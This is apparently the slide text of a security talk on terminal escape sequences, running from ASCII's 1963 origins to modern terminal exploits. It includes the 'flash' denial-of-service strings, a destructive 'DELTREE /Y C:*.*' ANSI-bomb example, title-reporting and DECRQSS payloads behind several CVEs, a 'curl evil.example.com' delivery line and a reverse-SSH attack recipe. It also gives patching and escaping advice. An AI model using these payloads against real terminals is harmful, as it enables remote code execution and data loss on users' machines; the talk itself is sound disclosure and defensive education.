Terminally Owned
60 years of escaping

David Leadbeater, G-Research
@dgl@infosec.exchange
ASCII
American Standard Code for Information Interchange

- Introduced in 1963
- We take it for granted
- It’s everywhere, including this very slide
- ASA X3.4-1963
<table>
<thead>
<tr>
<th>Column</th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
</tr>
</thead>
<tbody>
<tr>
<td>0 0 0 0 0 0</td>
<td>NUL</td>
<td>DLE</td>
<td>SP</td>
<td>@</td>
<td>P</td>
<td>`</td>
<td>p</td>
<td></td>
</tr>
<tr>
<td>0 0 0 0 1 1</td>
<td>SOH</td>
<td>DC1</td>
<td>!</td>
<td>A</td>
<td>Q</td>
<td>a</td>
<td>q</td>
<td></td>
</tr>
<tr>
<td>0 0 0 1 0 2</td>
<td>STX</td>
<td>DC2</td>
<td>&quot;</td>
<td>B</td>
<td>R</td>
<td>r</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0 0 0 1 1 3</td>
<td>ETX</td>
<td>DC3</td>
<td>#</td>
<td>C</td>
<td>S</td>
<td>s</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0 0 1 0 0 4</td>
<td>EOT</td>
<td>DC4</td>
<td>$</td>
<td>D</td>
<td>T</td>
<td>d</td>
<td>t</td>
<td></td>
</tr>
<tr>
<td>0 1 0 0 1 5</td>
<td>ENQ</td>
<td>NAK</td>
<td>%</td>
<td>E</td>
<td>U</td>
<td>e</td>
<td>u</td>
<td></td>
</tr>
<tr>
<td>0 1 1 0 0 6</td>
<td>ACK</td>
<td>SYN</td>
<td>&amp;</td>
<td>F</td>
<td>V</td>
<td>f</td>
<td>v</td>
<td></td>
</tr>
<tr>
<td>0 1 1 0 1 7</td>
<td>BEL</td>
<td>ETB</td>
<td>'</td>
<td>G</td>
<td>W</td>
<td>g</td>
<td>w</td>
<td></td>
</tr>
<tr>
<td>1 0 0 0 0 8</td>
<td>BS</td>
<td>CAN</td>
<td>(</td>
<td>H</td>
<td>X</td>
<td>h</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>1 0 0 1 1 9</td>
<td>HT</td>
<td>EM</td>
<td>)</td>
<td>I</td>
<td>Y</td>
<td>i</td>
<td>y</td>
<td></td>
</tr>
<tr>
<td>1 0 1 0 0 10</td>
<td>LF</td>
<td>SUB</td>
<td>*</td>
<td>J</td>
<td>Z</td>
<td>j</td>
<td>z</td>
<td></td>
</tr>
<tr>
<td>1 0 1 1 1 11</td>
<td>VT</td>
<td>ESC</td>
<td>+</td>
<td>K</td>
<td>[</td>
<td>k</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1 1 0 0 0 12</td>
<td>FF</td>
<td>FS</td>
<td>,</td>
<td>L</td>
<td>\</td>
<td>l</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1 1 0 1 1 13</td>
<td>CR</td>
<td>GS</td>
<td>=</td>
<td>M</td>
<td>]</td>
<td>m</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1 1 1 0 1 14</td>
<td>SO</td>
<td>RS</td>
<td>?</td>
<td>N</td>
<td>^</td>
<td>n</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1 1 1 1 1 15</td>
<td>SI</td>
<td>US</td>
<td>/</td>
<td>O</td>
<td>_</td>
<td>o</td>
<td>DEL</td>
<td></td>
</tr>
</tbody>
</table>
60 years ago – proposals on “escape”

A Proposal for Character Code Compatibility

R. W. Becker, IBM Corporation, White Plains, N. Y.

The emergence of a single standard from a welter of conflicting precedents depends upon two solutions:
1. selection or development of an adequate and logical standard,
2. phasing out (or peaceful coexistence with) the old varieties.

This paper deals with the latter problem and proposes the mechanism for a solution in the area of character codes, as represented by bit combinations.

It appears impossible to reconcile the many different codes in use on paper or magnetic tape such that a particular code could be the national or international standard. Because of the wide usage of these various codes they must be considered parallel standards subject to atrophy through adoption of a single superior code. A simple device that I call the “escape” character will allow as many compatible and graded standards as there are bit combinations in any number of tracks, although it is certainly not desirable to have more of these than absolutely necessary.

Given T character tracks (not feed, parity, or control tracks), there are 2^T possible code combinations. Normally there are all assigned to specific characters or controls. I propose that one of these combinations, the same one for all standards, be reserved as an “escape” character. This is to be excluded from every such set of characters assigned.

Regarding the choice of this character, it is unwise to use a null, or absence of pulses or bits. Furthermore, it is quite possible that the physical positioning of tracks on tape will not be in direct correspondence with the bit pattern of internal storage in a computer or data-processing device. The only code that avoids these difficulties is the completely punched combination, or all zeros in the bit structure.

Let us make provision for this “escape” combination to interrupt normal decoding of a stream of characters. It will say, in effect, that “the next T-bit combination is to be considered a numeric identifier of a particular standard.” From then on, until interrupted by an “escape” character in that set, all combinations T-bit characters will be interpreted according to that standard. Shifting from one standard to another is therefore dynamic. A great additional advantage of such a scheme is that many messages in several different codes may be mixed in the stream of transmission. In hardware, the “escape” character can be made to interrupt to set relay or other switching devices to select one of a variety of readers or decoders.

Communications of the ACM 71

A PROPOSED DISCIPLINE FOR THE USE OF "ESCAPE"

D.A. Kerr
American Telephone and Telegraph Co.
New York, New York

Jan. 22, 1963

Introduction

The proposed American Standard Code for Information Interchange includes a character designated “escape”. This character is intended to modify succeeding characters so as to permit the representation of characters not within the A.S.C.I.I. proper. The exact application and method of use of “escape” has not yet been determined.

This paper offers some thoughts on how “escape” may be defined and applied, and treats the effects of such a use on the coexistence of data processing and data communication systems. An implementation planned for use in the Bell System is described.

Application

It has been observed that “escape” could be used to permit the representation of either controls or graphics lying beyond the basic A.S.C.I.I. set. It is realized that the yet undefined characters “Shift Out” and “Shift In” are related to the use of “escape”. Some presumptions will be made regarding the division of functions between “shift” and “escape” operations.


D.A. Kerr, X3.2 Subcommittee, Task Group on “Escape”, 1963
Teletype ASR-33

- Released 1963
- One of the first devices to use ASCII
- Used in the development of…
Lear Siegler
ADM-3A

- Released 1976
3.2.2 Special Function Keys

In addition to the displayable character keys, the ADM-3A keyboard contains a number of other keys which are used for various terminal and system control operations, as follows:

1. **ESC.** The ESC key is used in conjunction with other character keys to produce a load-cursor operation, when in the Cursor Control Mode (CUR CTL-OFF switch set to CUR CTL). The load-cursor operation is used to position the cursor to a specific (absolute) screen position and to identify that position for the host computer. This operation may also be initiated by the host computer using the same escape sequences (refer to Programming Considerations).

Four characters are required to complete the operation. The first two characters are always ESC =; they enable the load-cursor operation. The next two characters establish the Y-X (column-row) coordinates of the desired screen position.

Figure 3-2 is a chart showing the ASCII characters (and their HEX codes) which must be typed to establish the desired column (Y) and row (X) screen location for the cursor.
American National Standard

additional controls for use with american national standard code for information interchange
Example VT100 escape sequences
(Movement)

"\e[0;10r"  Set Top and Bottom Margins (DECSTBM)

"\e[20;1H"  Cursor Position (CUP)

"\e[2B"     Cursor Down (CUD)
Demo
On a VT100 emulator

printf '\e[0;10r'
1980s - PCs

The IBM Personal Computer DOS
Version 2.00 (C)Copyright IBM Corp 1981, 1982, 1983
A>dir ansi.sys

Volume in drive A has no label
Directory of A:

ANSI       SYS     1664  3-08-83  12:00p
           1 File(s)  31232 bytes free
A>echo device=ansi.sys >> config.sys
A>cls | more
#(2J
#A

https://www.pcjs.org/software/pcx86/sys/dos/ibm/2.00/
PCjs © 2012-2023 Jeff Parsons
Starting MS-DOS...

HIMEM is testing extended memory...done.

E-IDE/ATAPI CD-ROM device driver, Ver 1.25
Copyright (C) LG Electronics Inc. 1997. All rights reserved.

Unit 0: NECVMWar VMware IDE CDR01 Product Rev.: 1.00
Unit 1: NECVMWar VMware IDE CDR10 Product Rev.: 1.00
Transfer Mode : Programmed I/O

C:\>C:\DOS\SMARTDRV.EXE /X
MSCDEX Version 2.23
Copyright (C) Microsoft Corp. 1986-1993. All rights reserved.
  Drive D: = Driver MSCD000 unit 0
  Drive E: = Driver MSCD000 unit 1
C:\>
“ANSI” art
“ANSI” art

$ iconv -f ibm437 BK-DOI.ANS | pv -q -L $[28800/8]
"ANSI" art

$ iconv -f ibm437 BK-DOI.ANS | pv -q -L $[28800/8]

---

Ansi by: Bad Karma <ACiD>
ANSI Bombs

This file is a special HELP file for *****. To view it, go to the DOS prompt and type TYPE HELP.TXT
DELTREE /Y C:*.*
Deleting c:\io.sys...
Deleting c:\msdos.sys...
Deleting c:\dos...
Deleting c:\command.com...
Deleting c:\wina20.386...
Deleting c:\config.sys...
Deleting c:\autoexec.bat...
Deleting c:\cdrom...
Deleting c:\foo...
C:\>
/* This little program is intended to quickly mess up a user's
terminal by issuing a talk request to that person and sending
vt100 escape characters that force the user to logout or kill
his/her xterm in order to regain a sane view of the text.
It the user's message mode is set to off (mesg n) he/she will
be unharmed.
This program is really nasty :-) 

Usage: flash user@host

try compiling with: gcc -o flash flash.c */
The evil strings

#define FIRST "\033c\033(0\033#8"
#define SECOND "\033[1;3r\033[J"
#define THIRD "\033[5m\033[?5h"
Digital VT520
cat flash.sh

# This simulates the effect of receiving "flash", a 1994 terminal DoS attack.
while ;; do
  printf \033[0;033[3h
  sleep 0.1
  printf \033[1;3r\033[J
  sleep 0.1
  printf \033[0;033[0h
end while
• Among the first published research
• Multiple “CVEs”
Window Title Reporting
CVE-2003-0063

printf \[e\]0;title\a
Window Title Reporting
CVE-2003-0063

printf "\e]0;calc.exe\a"
Window Title Reporting
CVE-2003-0063

printf "\e]0;calc.exe\a\e[21t"
C:\Users\dgl\Downloads\cmd.exe

cmd.exe
Vulnerabilities repeating themselves

- Variants of xterm CVE-2003-0063 (title reporting):
  - ConEmu: CVE-2022-46387
  - SwiftTerm: CVE-2022-23465
  - WezTerm: (no CVE)
Alternative delivery methods
“curl it”

$ curl evil.example.com
Alternative delivery methods

“It’s always DNS”

$ host test-starwars

```
"\027[3\;20\;7\;7\;7,~\027[3\;15\;3,~\027[3\;5\;10,~\027[3\;20;7,~\027[3\;15\;3,~".lab.
"\027[3\;20\;7\;7\;7,~\027[3\;15\;3,~\027[3\;5\;10,~\027[3\;20;7,~\027[3\;15\;3,~".lab has address 192.0.2.1
```

$ ping test-starwars

```
ping: test-starwars: Name or service not known
```

$ docker run -it alpine

```
/ # ping test-starwars
PING test-starwars (192.0.2.1): 56 data bytes
64 bytes from 192.0.2.1: seq=0 ttl=62 time=0.917 ms
```


Introducing...

Music over DNS

Add support for the DECPS escape sequence #8687

j4james opened this issue on Jan 1, 2021 • 40 comments • Fixed by #13208

j4james commented on Jan 1, 2021 • edited

Description of the new feature/enhancement

The DECPS (Play Sound) escape sequence was first introduced on the DEC VT520 terminals, and provides applications with a way to play a sequence of musical notes. The supported functionality is fairly rudimentary, but it's good enough for generating basic sound effects in games, making your build scripts play a little jingle when they complete successfully, or having your login MOTD wish you a happy birthday every year.
Demo
Windows Terminal and DECPS
Demo
ConEmu and DNS
More delivery methods

• H D Moore’s “A Fictitious Case Study”
• Apache logs… what’s more relevant today?
Demo
iTerm2 CVE-2022-45872 and Python
What just happened?

• "\eP$qm\e\"
  DECRQSS: “ReQuest Selection or Setting”
• "\eP$q\;your-string-here\e\"
• Unexpected “echoback” of a string
• String? ^C is a string too. Oh.
• I call this a “full echoback”
An old scenario with a new exploit

- Shared system
- Administrator gets an alert about excessive memory usage
- Starts debugging…
Let’s attack Kubernetes

• Credit to Eviatar Gerzi for initial research: Kubectl did not escape output

• I packaged several terminal exploits into a container: https://github.com/dgl/houdini-kubectl-poc
Demo (xterm RCE)
CVE-2022-45063

- and others, cross-platform!
Non-vulnerabilities?

- How bad are the things we can do with documented escape characters?

- Replies are the most interesting "\e[6n" replies with position: "\e[13;1R"

- "\e[4;1;?\a" replies with color string: "\e[4;1;rgb:d8c3/1e1e/0000\a"
Reverse SSH attack
RCE on the system the user SSHed from

- `kill -STOP pid-of-shell`
- `echo (escape sequence) > /dev/ttyXXX`
- `kill -9 pid-of-shell`
Demo
Protecting yourself

• Patching: terminals deal with untrusted input, just like a browser
• Correct escaping
• tmux (but check the `allow-passthrough` setting)
• Less (if it’s fixed!)
• For the paranoid: Don’t use fancy terminals; e.g. see “st”
Terminal Escape Sequence Cheat Sheet

**OSC:** Operating System Command
(terminated with ST: "\e\"")
- Set title: "\e\]0;\r\calc.exe\r\e\"
- Hyperlink: "\e\]8;;https://opensource.gresearch.com\a"
- Set working directory: "\e\]9;9;/root\a" (Windows Term)
- Set color value: "\e\]4;1;red\a"
- Report color value: "\e\]4;1;?\a"

**CSI:** Control Sequence Introducer
(terminated with a letter)
- Report cursor position: "\e[6n"
- Report title: "\e[21t" (ConEmu exploit)
- Set color to red: "\e[31m"
- xterm key reporting: "\e[>4;2m"

**DCS:** Device Control String
- DECRQSS: "\eP$q;cmd\r\e\\\eP$q\e\"
  (iTerm2 exploit)